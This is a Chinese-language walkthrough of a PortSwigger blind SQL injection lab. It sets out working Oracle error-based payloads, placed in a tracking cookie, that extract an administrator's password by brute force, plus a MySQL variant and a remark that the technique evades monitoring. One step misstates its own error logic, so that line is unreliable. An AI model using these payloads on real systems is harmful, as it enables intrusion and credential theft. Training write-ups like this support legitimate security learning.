Portswigger靶场之Blind SQL injection with conditional errorsPRACTITIONERLAB
一、分析题目
该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询的结果并未被返回,而且无论查询是否返回任何行,应用程序的反应都相同。
这里值得注意的是,如果 SQL 查询出现错误,那么应用程序就会返回一个自定义的错误消息。我们这次是要根据返回的报错页面来进行注入。
该数据库中有一个名为“users”的不同表,该表包含“username”(用户名)和“password”(密码)两列。您需要利用盲 SQL 注入漏洞来找出管理员用户的密码。要解决此问题,请以管理员用户身份登录。
二、判断类型
1、猜测注入类型
这里我们尝试输入一个单引号时报错,输入两个单引号时页面显示正常:
因为输入数据库的理解结果一个单引号 ('
)这是一个字符串的开始或结束符,导致字符串被意外截断,引发语法冲突,最终导致SQL 语法错误 ;
两个单引号 (''
)这是一个转义序列,代表字符串内部的一个实际的单引号字符。执行成功。
所以猜测是布尔注入
由于这里页面没有回显任何信息,所以只能通过SQL语句的正确性来判断注入,如果SQL查询语句是正确的,则返回200,如果SQL语句查询是错误的,则返回500.
2、判断数据库类型
这里我们利用oracle的一个“小规矩”,在 Oracle 数据库中,任何 SELECT
语句,哪怕只是查询一个常量或一个空值,都必须有一个 FROM
子句。
其他很多数据库(如 MySQL, PostgreSQL)允许你直接写 SELECT ''
,但 Oracle 不行,这在 Oracle 中是无效的语法。
我们在语句正确的基础上,加上拼接符||
来进行字符串的拼接。
TrackingId=ts02O7zolrYMc60w'||(select '')||'
此时,出现报错
语句改为下列语句,正常,说明了是oracle数据库
ts02O7zolrYMc60w'||(select '' from dual)||'
注意:在 Oracle 中进行注入测试,只要你的子查询不是从一个实际的表里查询数据,就一定要在后面加上 FROM DUAL
。
三、执行SQL注入
1、确认表的存在
提示说到数据库中有一个名为“users”的不同表,我们通过下面语句确定确实存在
TrackingId=AwKRCnDIzIDp0fCp'||(select '' from users where rownum=1)||'
在你的SQL注入查询中加上 where rownum=1
是一个至关重要的优化,优化如下
对比项 | 不加 rownum=1 | 加上 rownum=1 (推荐) |
性能 | 扫描全表,大表极慢 | 只取一行,速度恒定且极快 |
可靠性 | 可能因超时导致误判 | 结果清晰,避免超时干扰 |
隐蔽性 | 高负载,容易被监控发现 | 低负载,难以被察觉 |
小延伸:这里当从 Oracle 切换到 MySQL 时,只要要将 rownum=1
换成 LIMIT 1
,但是也要将整个注入的思路从“值构造”切换为“条件注入”,在标准 MySQL 中
-
拼接符不同:在标准 MySQL 中,
||
是一个逻辑“或”运算符(OR),而不是字符串拼接符。MySQL 中拼接字符串通常使用CONCAT()
函数。 -
注入策略不同:由于拼接符的差异,在 MySQL 中,通过
AND
或OR
添加一个旁路的逻辑条件,通常比构造一个复杂的CONCAT()
语句要简单和普遍得多。
对应语句如下:
TrackingId=some_value' AND (SELECT 1 FROM users LIMIT 1) IS NOT NULL --+
2、猜解密码长度原理
下面是甲骨文数据库的语法:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
这条SQL语句使用了SELECT CASE WHEN结构,这是一种条件表达式,如果条件表达式为真,则执行THEN后面的函数;如果为假,则执行ELSE后面的函数。
在上面这条语句中,TO_CHAR函数的作用是转换成字符,可是TO_CHAR(1/0)中的1/0实际上是个除法,0为分母本身就是错误的,在大多数数据库中会抛出一个错误。
条件1=2是错误的,所以走的是else,页面返回了200。
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN 1=2 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
当改成1=1,执行THEN后的函数,是TO_CHAR(1/0)语句报错,所以页面也报错。
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN 1=1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
理解以后,我们就可以利用WHEN来注入,判断密码的长度。执行下面语句,说明密码长度是大于1的:
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
执行这条语句,说明密码长度没有大于1000
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN length(password)>1000 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
3、进行密码长度爆破
明白原理之后,设置猜测范围为1-25,设置关键字匹配:Internal Server Error进行爆破
按照上面的理论判断,没有出现报错,说明when的条件判断是正确的,所以执行了else以后的语句,得出密码长度为20
4、暴破密码字符
把when以后的条件判断用substr函数替换,爆破猜解具体密码字符。
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN substr(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
substr(password,1,1)='a' 中第一个1就是猜的第一个位置,a为猜测第一个位置的字母
说明第一个字符不是a,接下来进行爆破前的设置
四、通关
拿到密码后,提示已经给出帐号,登陆即通关
学习参考:归去来兮-zangcc 【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)